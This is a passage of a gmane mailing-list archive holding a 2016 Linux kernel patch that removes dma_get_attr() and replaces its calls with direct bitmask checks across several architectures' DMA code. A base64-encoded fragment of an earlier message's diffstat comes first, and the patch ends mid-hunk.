bWEuYyAgICAgICAgICAgICAgICAgICAgICAgICAgICB8ICAxNiArLS0KIGFyY2gvbWljcm9ibGF6
ZS9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oICAgICAgICAgIHwgICAxIC0KIGFyY2gvbWljcm9i
bGF6ZS9rZXJuZWwvZG1hLmMgICAgICAgICAgICAgICAgICAgICAgIHwgIDEyICstCiBhcmNoL21p
cHMvY2F2aXVtLW9jdGVvbi9kbWEtb2N0ZW9uLmMgICAgICAgICAgICAgICB8ICAgOCArLQogYXJj
aC9taXBzL2xvb25nc29uNjQvY29tbW9uL2RtYS1zd2lvdGxiLmMgICAgICAgICAgfCAgMTAgKy0K
IGFyY2gvbWlwcy9tbS9kbWEtZGVmYXVsdC5jICAgICAgICAgICAgICAgICAgICAgICAgIHwgIDIw
ICsrLS0KIGFyY2gvbWlwcy9uZXRsb2dpYy9jb21tb24vbmxtLWRtYS5jICAgICAgICAgICAgICAg
IHwgICA0ICstCiBhcmNoL21uMTAzMDAvbW0vZG1hLWFsbG9jLmMgICAgICAgICAgICAgICAgICAg
ICAgICB8ICAgOCArLQogYXJjaC9uaW9zMi9tbS9kbWEtbWFwcGluZy5jICAgICAgICAgICAgICAg
ICAgICAgICAgfCAgMTIgKy0KIGFyY2gvb3BlbnJpc2Mva2VybmVsL2RtYS5jICAgICAgICAgICAg
ICAgICAgICAgICAgIHwgIDIxICsrLS0KIGFyY2gvcGFyaXNjL2tlcm5lbC9wY2ktZG1hLmMgICAg
ICAgICAgICAgICAgICAgICAgIHwgIDE4ICstLQogYXJjaC9wb3dlcnBjL2luY2x1ZGUvYXNtL2Rt
YS1tYXBwaW5nLmggICAgICAgICAgICAgfCAgIDcgKy0KIGFyY2gvcG93ZXJwYy9pbmNsdWRlL2Fz
bS9pb21tdS5oICAgICAgICAgICAgICAgICAgIHwgIDEwICstCiBhcmNoL3Bvd2VycGMva2VybmVs
L2RtYS1pb21tdS5jICAgICAgICAgICAgICAgICAgICB8ICAxMiArLQogYXJjaC9wb3dlcnBjL2tl
cm5lbC9kbWEuYyAgICAgICAgICAgICAgICAgICAgICAgICAgfCAgMTggKy0tCiBhcmNoL3Bvd2Vy
cGMva2VybmVsL2libWVidXMuYyAgICAgICAgICAgICAgICAgICAgICB8ICAxMiArLQogYXJjaC9w
b3dlcnBjL2tlcm5lbC9pb21tdS5jICAgICAgICAgICAgICAgICAgICAgICAgfCAgMTIgKy0KIGFy
Y2gvcG93ZXJwYy9rZXJuZWwvdmlvLmMgICAgICAgICAgICAgICAgICAgICAgICAgIHwgIDEyICst
CiBhcmNoL3Bvd2VycGMvcGxhdGZvcm1zL2NlbGwvaW9tbXUuYyAgICAgICAgICAgICAgICB8ICAy
OCArKy0tLQogYXJjaC9wb3dlcnBjL3BsYXRmb3Jtcy9wYXNlbWkvaW9tbXUuYyAgICAgICAgICAg
ICAgfCAgIDIgKy0KIGFyY2gvcG93ZXJwYy9wbGF0Zm9ybXMvcG93ZXJudi9ucHUtZG1hLmMgICAg
ICAgICAgIHwgICA4ICstCiBhcmNoL3Bvd2VycGMvcGxhdGZvcm1zL3Bvd2VybnYvcGNpLWlvZGEu
YyAgICAgICAgICB8ICAgNCArLQogYXJjaC9wb3dlcnBjL3BsYXRmb3Jtcy9wb3dlcm52L3BjaS5j
ICAgICAgICAgICAgICAgfCAgIDIgKy0KIGFyY2gvcG93ZXJwYy9wbGF0Zm9ybXMvcG93ZXJudi9w
Y2kuaCAgICAgICAgICAgICAgIHwgICAyICstCiBhcmNoL3Bvd2VycGMvcGxhdGZvcm1zL3BzMy9z
eXN0ZW0tYnVzLmMgICAgICAgICAgICB8ICAxOCArLS0KIGFyY2gvcG93ZXJwYy9wbGF0Zm9ybXMv
cHNlcmllcy9pb21tdS5jICAgICAgICAgICAgIHwgICA2ICstCiBhcmNoL3Bvd2VycGMvc3lzZGV2
L2RhcnRfaW9tbXUuYyAgICAgICAgICAgICAgICAgICB8ICAgMiArLQogYXJjaC9zMzkwL2luY2x1
ZGUvYXNtL2RtYS1tYXBwaW5nLmggICAgICAgICAgICAgICAgfCAgIDEgLQogYXJjaC9zMzkwL3Bj
aS9wY2lfZG1hLmMgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCAgMjMgKystLQogYXJjaC9z
aC9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oICAgICAgICAgICAgICAgICAgfCAgIDQgKy0KIGFy
Y2gvc2gva2VybmVsL2RtYS1ub21tdS5jICAgICAgICAgICAgICAgICAgICAgICAgIHwgICA0ICst
CiBhcmNoL3NoL21tL2NvbnNpc3RlbnQuYyAgICAgICAgICAgICAgICAgICAgICAgICAgICB8ICAg
NCArLQogYXJjaC9zcGFyYy9rZXJuZWwvaW9tbXUuYyAgICAgICAgICAgICAgICAgICAgICAgICAg
fCAgMTIgKy0KIGFyY2gvc3BhcmMva2VybmVsL2lvcG9ydC5jICAgICAgICAgICAgICAgICAgICAg
ICAgIHwgIDI0ICsrLS0KIGFyY2gvc3BhcmMva2VybmVsL3BjaV9zdW40di5jICAgICAgICAgICAg
ICAgICAgICAgIHwgIDEyICstCiBhcmNoL3RpbGUva2VybmVsL3BjaS1kbWEuYyAgICAgICAgICAg
ICAgICAgICAgICAgICB8ICAyOCArKy0tLQogYXJjaC91bmljb3JlMzIvbW0vZG1hLXN3aW90bGIu
YyAgICAgICAgICAgICAgICAgICAgfCAgIDQgKy0KIGFyY2gveDg2L2luY2x1ZGUvYXNtL2RtYS1t
YXBwaW5nLmggICAgICAgICAgICAgICAgIHwgICA1ICstCiBhcmNoL3g4Ni9pbmNsdWRlL2FzbS9z
d2lvdGxiLmggICAgICAgICAgICAgICAgICAgICB8ICAgNCArLQogYXJjaC94ODYvaW5jbHVkZS9h
c20veGVuL3BhZ2UtY29oZXJlbnQuaCAgICAgICAgICAgfCAgIDkgKy0KIGFyY2gveDg2L2tlcm5l
bC9hbWRfZ2FydF82NC5jICAgICAgICAgICAgICAgICAgICAgIHwgIDIwICsrLS0KIGFyY2gveDg2
L2tlcm5lbC9wY2ktY2FsZ2FyeV82NC5jICAgICAgICAgICAgICAgICAgIHwgIDE0ICstLQogYXJj
aC94ODYva2VybmVsL3BjaS1kbWEuYyAgICAgICAgICAgICAgICAgICAgICAgICAgfCAgIDQgKy0K
IGFyY2gveDg2L2tlcm5lbC9wY2ktbm9tbXUuYyAgICAgICAgICAgICAgICAgICAgICAgIHwgICA0
ICstCiBhcmNoL3g4Ni9rZXJuZWwvcGNpLXN3aW90bGIuYyAgICAgICAgICAgICAgICAgICAgICB8
ICAgNCArLQogYXJjaC94ODYvcGNpL3N0YTJ4MTEtZml4dXAuYyAgICAgICAgICAgICAgICAgICAg
ICAgfCAgIDIgKy0KIGFyY2gveDg2L3BjaS92bWQuYyAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHwgIDE2ICstLQogYXJjaC94dGVuc2Eva2VybmVsL3BjaS1kbWEuYyAgICAgICAgICAg
ICAgICAgICAgICAgfCAgMTIgKy0KIGRyaXZlcnMvZ3B1L2RybS9leHlub3MvZXh5bm9zX2RybV9m
YmRldi5jICAgICAgICAgIHwgICAyICstCiBkcml2ZXJzL2dwdS9kcm0vZXh5bm9zL2V4eW5vc19k
cm1fZzJkLmMgICAgICAgICAgICB8ICAxMiArLQogZHJpdmVycy9ncHUvZHJtL2V4eW5vcy9leHlu
b3NfZHJtX2dlbS5jICAgICAgICAgICAgfCAgMjAgKystLQogZHJpdmVycy9ncHUvZHJtL2V4eW5v
cy9leHlub3NfZHJtX2dlbS5oICAgICAgICAgICAgfCAgIDIgKy0KIGRyaXZlcnMvZ3B1L2RybS9t
ZWRpYXRlay9tdGtfZHJtX2dlbS5jICAgICAgICAgICAgIHwgIDEzICstLQogZHJpdmVycy9ncHUv
ZHJtL21lZGlhdGVrL210a19kcm1fZ2VtLmggICAgICAgICAgICAgfCAgIDIgKy0KIGRyaXZlcnMv
Z3B1L2RybS9tc20vbXNtX2Rydi5jICAgICAgICAgICAgICAgICAgICAgIHwgIDEzICstLQogLi4u
L2dwdS9kcm0vbm91dmVhdS9udmttL3N1YmRldi9pbnN0bWVtL2drMjBhLmMgICAgfCAgMTMgKy0t
CiBkcml2ZXJzL2dwdS9kcm0vcm9ja2NoaXAvcm9ja2NoaXBfZHJtX2dlbS5jICAgICAgICB8ICAx
NyArKy0KIGRyaXZlcnMvZ3B1L2RybS9yb2NrY2hpcC9yb2NrY2hpcF9kcm1fZ2VtLmggICAgICAg
IHwgICAyICstCiBkcml2ZXJzL2luZmluaWJhbmQvY29yZS91bWVtLmMgICAgICAgICAgICAgICAg
ICAgICB8ICAgNyArLQogZHJpdmVycy9pb21tdS9hbWRfaW9tbXUuYyAgICAgICAgICAgICAgICAg
ICAgICAgICAgfCAgMTIgKy0KIGRyaXZlcnMvaW9tbXUvZG1hLWlvbW11LmMgICAgICAgICAgICAg
ICAgICAgICAgICAgIHwgICA4ICstCiBkcml2ZXJzL2lvbW11L2ludGVsLWlvbW11LmMgICAgICAg
ICAgICAgICAgICAgICAgICB8ICAxMiArLQogZHJpdmVycy9tZWRpYS9wbGF0Zm9ybS9zdGkvYmRp
c3AvYmRpc3AtaHcuYyAgICAgICAgfCAgMjYgKystLS0KIGRyaXZlcnMvbWVkaWEvdjRsMi1jb3Jl
L3ZpZGVvYnVmMi1kbWEtY29udGlnLmMgICAgIHwgIDMwICsrLS0tCiBkcml2ZXJzL21lZGlhL3Y0
bDItY29yZS92aWRlb2J1ZjItZG1hLXNnLmMgICAgICAgICB8ICAxOSArLS0KIGRyaXZlcnMvbWlz
Yy9taWMvaG9zdC9taWNfYm9vdC5jICAgICAgICAgICAgICAgICAgIHwgIDIwICsrLS0KIGRyaXZl
cnMvcGFyaXNjL2NjaW8tZG1hLmMgICAgICAgICAgICAgICAgICAgICAgICAgIHwgIDE2ICstLQog
ZHJpdmVycy9wYXJpc2Mvc2JhX2lvbW11LmMgICAgICAgICAgICAgICAgICAgICAgICAgfCAgMTYg
Ky0tCiBkcml2ZXJzL3ZpZGVvL2ZiZGV2L29tYXAyL29tYXBmYi9vbWFwZmItbWFpbi5jICAgICB8
ICAxMiArLQogZHJpdmVycy92aWRlby9mYmRldi9vbWFwMi9vbWFwZmIvb21hcGZiLmggICAgICAg
ICAgfCAgIDMgKy0KIGRyaXZlcnMveGVuL3N3aW90bGIteGVuLmMgICAgICAgICAgICAgICAgICAg
ICAgICAgIHwgIDE0ICstLQogaW5jbHVkZS9saW51eC9kbWEtYXR0cnMuaCAgICAgICAgICAgICAg
ICAgICAgICAgICAgfCAgNzEgLS0tLS0tLS0tLS0tCiBpbmNsdWRlL2xpbnV4L2RtYS1pb21tdS5o
ICAgICAgICAgICAgICAgICAgICAgICAgICB8ICAgNiArLQogaW5jbHVkZS9saW51eC9kbWEtbWFw
cGluZy5oICAgICAgICAgICAgICAgICAgICAgICAgfCAxMjggKysrKysrKysrKysrKystLS0tLS0t
CiBpbmNsdWRlL2xpbnV4L3N3aW90bGIuaCAgICAgICAgICAgICAgICAgICAgICAgICAgICB8ICAx
MCArLQogaW5jbHVkZS9tZWRpYS92aWRlb2J1ZjItZG1hLWNvbnRpZy5oICAgICAgICAgICAgICAg
fCAgIDcgKy0KIGluY2x1ZGUvcmRtYS9pYl92ZXJicy5oICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIHwgICA4ICstCiBpbmNsdWRlL3hlbi9zd2lvdGxiLXhlbi5oICAgICAgICAgICAgICAgICAg
ICAgICAgICB8ICAxMiArLQogbGliL2RtYS1ub29wLmMgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgfCAgIDkgKy0KIGxpYi9zd2lvdGxiLmMgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIHwgIDEzICsrLQogMTA4IGZpbGVzIGNoYW5nZWQsIDY4OSBpbnNlcnRp
b25zKCspLCA3ODkgZGVsZXRpb25zKC0pCiBkZWxldGUgbW9kZSAxMDA2NDQgaW5jbHVkZS9saW51
eC9kbWEtYXR0cnMuaAoKLS0gCjEuOS4xCgpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fXwpGcmVlZHJlbm8gbWFpbGluZyBsaXN0CkZyZWVkcmVub0BsaXN0cy5m
cmVlZGVza3RvcC5vcmcKaHR0cHM6Ly9saXN0cy5mcmVlZGVza3RvcC5vcmcvbWFpbG1hbi9saXN0
aW5mby9mcmVlZHJlbm8K


From - Thu Nov 08 21:39:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.kernel.arc,gmane.linux.ports.arm.rockchip,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.ppc64.devel
Subject: [PATCH v5 43/44] dma-mapping: Remove dma_get_attr
Date: Thu, 30 Jun 2016 10:26:10 +0200
Lines: 543
Approved: news@gmane.org
Message-ID: <1467275171-6298-43-git-send-email-k.kozlowski@samsung.com>
References: <1467275019-30789-1-git-send-email-k.kozlowski@samsung.com>
	<1467275171-6298-1-git-send-email-k.kozlowski@samsung.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1467275339 4074 80.91.229.3 (30 Jun 2016 08:28:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Jun 2016 08:28:59 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Heiko Stuebner <heiko-4mtYJXux2i+zQB+pC5nmwQ@public.gmane.org>,
	linux-doc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, David Airlie <airlied-cv59FeDIM0c@public.gmane.org>,
	Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
	Will Deacon <will.deacon-5wv7dgnIgG8@public.gmane.org>, dri-devel-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
	Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
	Jonas Bonn <jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org>,
	Stefano Stabellini <sstabellini-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
	Pawel Osciak <pawel-FA/gS7QP4orQT0dZR+AlfA@public.gmane.org>, linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Jonathan Corbet <corbet-T1hC0tSOHrs@public.gmane.org>, Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
	Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, Russell King <linux-I+IVW8TIWO2tmTQ+vhA3Yw@public.gmane.org>,
	iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org, hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org,
	linux-rockchip-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Catalin Marinas <catalin.marinas-5wv7dgnIgG8@public.gmane.org>, xen-devel@lists.
To: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Thu Jun 30 10:28:42 2016
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1bIXKv-0003eU-UY
	for glki-iommu@m.gmane.org; Thu, 30 Jun 2016 10:28:38 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 36FC03EE;
	Thu, 30 Jun 2016 08:28:36 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 5BE1A71
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Thu, 30 Jun 2016 08:28:35 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mailout2.w1.samsung.com (mailout2.w1.samsung.com
	[210.118.77.12])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id B70AC186
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Thu, 30 Jun 2016 08:28:33 +0000 (UTC)
Original-Received: from eucpsbgm2.samsung.com (unknown [203.254.199.245])
	by mailout2.w1.samsung.com
	(Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May 5
	2014)) with ESMTP id <0O9K000K5SVJLX80-eFIaCgeugYYN6F2oBFWwZJQQlyuF8BCz@public.gmane.org> for
	iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org; Thu, 30 Jun 2016 09:28:31 +0100 (BST)
X-AuditID: cbfec7f5-f792a6d000001302-27-5774d82f43ad
Original-Received: from eusync2.samsung.com ( [203.254.199.212])
	by eucpsbgm2.samsung.com (EUCPMTA) with SMTP id 74.54.04866.F28D4775;
	Thu, 30 Jun 2016 09:28:31 +0100 (BST)
Original-Received: from AMDC2174.DIGITAL.local ([106.120.53.17])
	by eusync2.samsung.com (Oracle Communications Messaging Server
	7.0.5.31.0 64bit (built May  5 2014))
	with ESMTPA id <0O9K00F5WSS0I050-g/6iTPjn2MNLN7c7dRTbYkEOCMrvLtNR@public.gmane.org>; Thu,
	30 Jun 2016 09:28:31 +0100 (BST)
X-Mailer: git-send-email 1.9.1
In-reply-to: <1467275171-6298-1-git-send-email-k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
X-Brightmail-Tracker: H4sIAAAAAAAAAzWSa0iTYRTHe977hoMXs3xRSBj1xdCyCxzUzLDwgaCCDKGbLX3TyC3b1FL6
	MC+lTi3TLpYilqVl09l0eUlLh27d0xTNygsmpXjZCmylpjmsb//zOz/O/8vhSNc02oM7qYoX
	1SpFrJyRUq8WrD0+Gz7Eh2/UT0gh9+0LAooNegb+5FtYeFRooMGeeoEEW3kOgtHWDARDPz4h
	6JmxMZBdPcLCxes74FXeHQIWRyZo+DWTRkHpswCYLhkjYai6kob5m3YCsopqWJgY84M3qZMs
	GL/00nD74l0K7JnTNHQ3FTOQU2Oi4evHDAryruWzMPKyk4Afw4skXPhcRYD5WguCOccCDVXt
	Ayw0XG0loNw4T0Cd1syAvr2MhatTv1l437wWHlZHwGTnIAVm0wgF49+fU+CoKyCCffBoWwmB
	9SV6hLt7u0g8N5uP8J1xLYUbbw2w2P79KM5pfI1w7X1vXNY8TuCcyXQaGyuzGPy8cI7CHQ+q
	CFz/c5jGQ9lWYp/XQWlglBh7MlFUbwg6Jo0xZ7ajuNH76FzzlcukFrXokA5xnMBvEbT9ch2S
	LMXVQueggdEhKefK30PC74Kuf0MKIbTXakmnxfCbhdqKu4wzu/E+QuW3JtIpkfyUi9Bz3cE6
	r67k/YX6Lt7pUPw6obR+kXRiGR8q9Ga6LZetEV5YCmgnlizhIsfe5ap0JFie5pN5SFaKVlSi
	VWJCZJzmeLRyk69GodQkqKJ9I08rjWj5NWYa0D2LvxnxHJK7yILJ+HBXWpGoSVKakcCRcjdZ
	fc8SkkUpkpJF9ekIdUKsqDEjT46Su8tuNtnCXPloRbx4ShTjRPX/LcFJPLToRO5A 
X-Spam-Status: No, score=-8.2 required=5.0 tests=BAYES_00,RCVD_IN_DNSWL_HI,
	RP_MATCHES_RCVD autolearn=ham version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
	smtp1.linux-foundation.org
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:14330 gmane.linux.ports.mips.general:55340 gmane.linux.ports.ia64:26961 gmane.linux.documentation:39343 gmane.comp.video.dri.devel:158689 gmane.linux.kernel.arc:1295 gmane.linux.ports.arm.rockchip:7946 gmane.linux.kernel.metag:1114 gmane.linux.ports.arm.kernel:510856 gmane.linux.ports.parisc:26919 gmane.linux.kernel:2256695 gmane.linux.drivers.video-input-infrastructure:103620 gmane.linux.ports.ppc64.devel:129342
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/14330>

After switching DMA attributes to unsigned long it is easier to just
compare the bits.

Signed-off-by: Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
[for avr32]
Acked-by: Hans-Christian Noren Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>
[for arc]
Acked-by: Vineet Gupta <vgupta-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
[for arm64 and dma-iommu]
Acked-by: Robin Murphy <robin.murphy-5wv7dgnIgG8@public.gmane.org>
---
 Documentation/DMA-API.txt                      |  4 +--
 arch/arc/mm/dma.c                              |  4 +--
 arch/arm/mm/dma-mapping.c                      | 36 ++++++++++++--------------
 arch/arm/xen/mm.c                              |  4 +--
 arch/arm64/mm/dma-mapping.c                    | 10 +++----
 arch/avr32/mm/dma-coherent.c                   |  4 +--
 arch/ia64/sn/pci/pci_dma.c                     | 10 ++-----
 arch/metag/kernel/dma.c                        |  2 +-
 arch/mips/mm/dma-default.c                     |  6 ++---
 arch/openrisc/kernel/dma.c                     |  4 +--
 arch/parisc/kernel/pci-dma.c                   |  2 +-
 arch/powerpc/platforms/cell/iommu.c            | 12 ++++-----
 drivers/gpu/drm/rockchip/rockchip_drm_gem.c    |  2 +-
 drivers/iommu/dma-iommu.c                      |  2 +-
 drivers/media/v4l2-core/videobuf2-dma-contig.c |  2 +-
 include/linux/dma-mapping.h                    | 10 -------
 16 files changed, 47 insertions(+), 67 deletions(-)

diff --git a/Documentation/DMA-API.txt b/Documentation/DMA-API.txt
index 24f9688bb98a..1d26eeb6b5f6 100644
--- a/Documentation/DMA-API.txt
+++ b/Documentation/DMA-API.txt
@@ -422,9 +422,7 @@ void whizco_dma_map_sg_attrs(struct device *dev, dma_addr_t dma_addr,
 			     unsigned long attrs)
 {
 	....
-	int foo =  dma_get_attr(DMA_ATTR_FOO, attrs);
-	....
-	if (foo)
+	if (attrs & DMA_ATTR_FOO)
 		/* twizzle the frobnozzle */
 	....
 
diff --git a/arch/arc/mm/dma.c b/arch/arc/mm/dma.c
index 3d1f467d1792..74bbe68dce9d 100644
--- a/arch/arc/mm/dma.c
+++ b/arch/arc/mm/dma.c
@@ -46,7 +46,7 @@ static void *arc_dma_alloc(struct device *dev, size_t size,
 	 *   (vs. always going to memory - thus are faster)
 	 */
 	if ((is_isa_arcv2() && ioc_exists) ||
-	    dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs))
+	    (attrs & DMA_ATTR_NON_CONSISTENT))
 		need_coh = 0;
 
 	/*
@@ -95,7 +95,7 @@ static void arc_dma_free(struct device *dev, size_t size, void *vaddr,
 	struct page *page = virt_to_page(dma_handle);
 	int is_non_coh = 1;
 
-	is_non_coh = dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs) ||
+	is_non_coh = (attrs & DMA_ATTR_NON_CONSISTENT) ||
 			(is_isa_arcv2() && ioc_exists);
 
 	if (PageHighMem(page) || !is_non_coh)
diff --git a/arch/arm/mm/dma-mapping.c b/arch/arm/mm/dma-mapping.c
index ebb3fde99043..43e03b5293d0 100644
--- a/arch/arm/mm/dma-mapping.c
+++ b/arch/arm/mm/dma-mapping.c
@@ -126,7 +126,7 @@ static dma_addr_t arm_dma_map_page(struct device *dev, struct page *page,
 	     unsigned long offset, size_t size, enum dma_data_direction dir,
 	     unsigned long attrs)
 {
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__dma_page_cpu_to_dev(page, offset, size, dir);
 	return pfn_to_dma(dev, page_to_pfn(page)) + offset;
 }
@@ -155,7 +155,7 @@ static dma_addr_t arm_coherent_dma_map_page(struct device *dev, struct page *pag
 static void arm_dma_unmap_page(struct device *dev, dma_addr_t handle,
 		size_t size, enum dma_data_direction dir, unsigned long attrs)
 {
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__dma_page_dev_to_cpu(pfn_to_page(dma_to_pfn(dev, handle)),
 				      handle & ~PAGE_MASK, size, dir);
 }
@@ -622,9 +622,9 @@ static void __free_from_contiguous(struct device *dev, struct page *page,
 
 static inline pgprot_t __get_dma_pgprot(unsigned long attrs, pgprot_t prot)
 {
-	prot = dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs) ?
-			    pgprot_writecombine(prot) :
-			    pgprot_dmacoherent(prot);
+	prot = (attrs & DMA_ATTR_WRITE_COMBINE) ?
+			pgprot_writecombine(prot) :
+			pgprot_dmacoherent(prot);
 	return prot;
 }
 
@@ -744,7 +744,7 @@ static void *__dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
 		.gfp = gfp,
 		.prot = prot,
 		.caller = caller,
-		.want_vaddr = !dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, attrs),
+		.want_vaddr = ((attrs & DMA_ATTR_NO_KERNEL_MAPPING) == 0),
 	};
 
 #ifdef CONFIG_DMA_API_DEBUG
@@ -887,7 +887,7 @@ static void __arm_dma_free(struct device *dev, size_t size, void *cpu_addr,
 		.size = PAGE_ALIGN(size),
 		.cpu_addr = cpu_addr,
 		.page = page,
-		.want_vaddr = !dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, attrs),
+		.want_vaddr = ((attrs & DMA_ATTR_NO_KERNEL_MAPPING) == 0),
 	};
 
 	buf = arm_dma_buffer_find(cpu_addr);
@@ -1267,7 +1267,7 @@ static struct page **__iommu_alloc_buffer(struct device *dev, size_t size,
 	if (!pages)
 		return NULL;
 
-	if (dma_get_attr(DMA_ATTR_FORCE_CONTIGUOUS, attrs))
+	if (attrs & DMA_ATTR_FORCE_CONTIGUOUS)
 	{
 		unsigned long order = get_order(size);
 		struct page *page;
@@ -1285,7 +1285,7 @@ static struct page **__iommu_alloc_buffer(struct device *dev, size_t size,
 	}
 
 	/* Go straight to 4K chunks if caller says it's OK. */
-	if (dma_get_attr(DMA_ATTR_ALLOC_SINGLE_PAGES, attrs))
+	if (attrs & DMA_ATTR_ALLOC_SINGLE_PAGES)
 		order_idx = ARRAY_SIZE(iommu_order_array) - 1;
 
 	/*
@@ -1346,7 +1346,7 @@ static int __iommu_free_buffer(struct device *dev, struct page **pages,
 	int count = size >> PAGE_SHIFT;
 	int i;
 
-	if (dma_get_attr(DMA_ATTR_FORCE_CONTIGUOUS, attrs)) {
+	if (attrs & DMA_ATTR_FORCE_CONTIGUOUS) {
 		dma_release_from_contiguous(dev, pages[0], count);
 	} else {
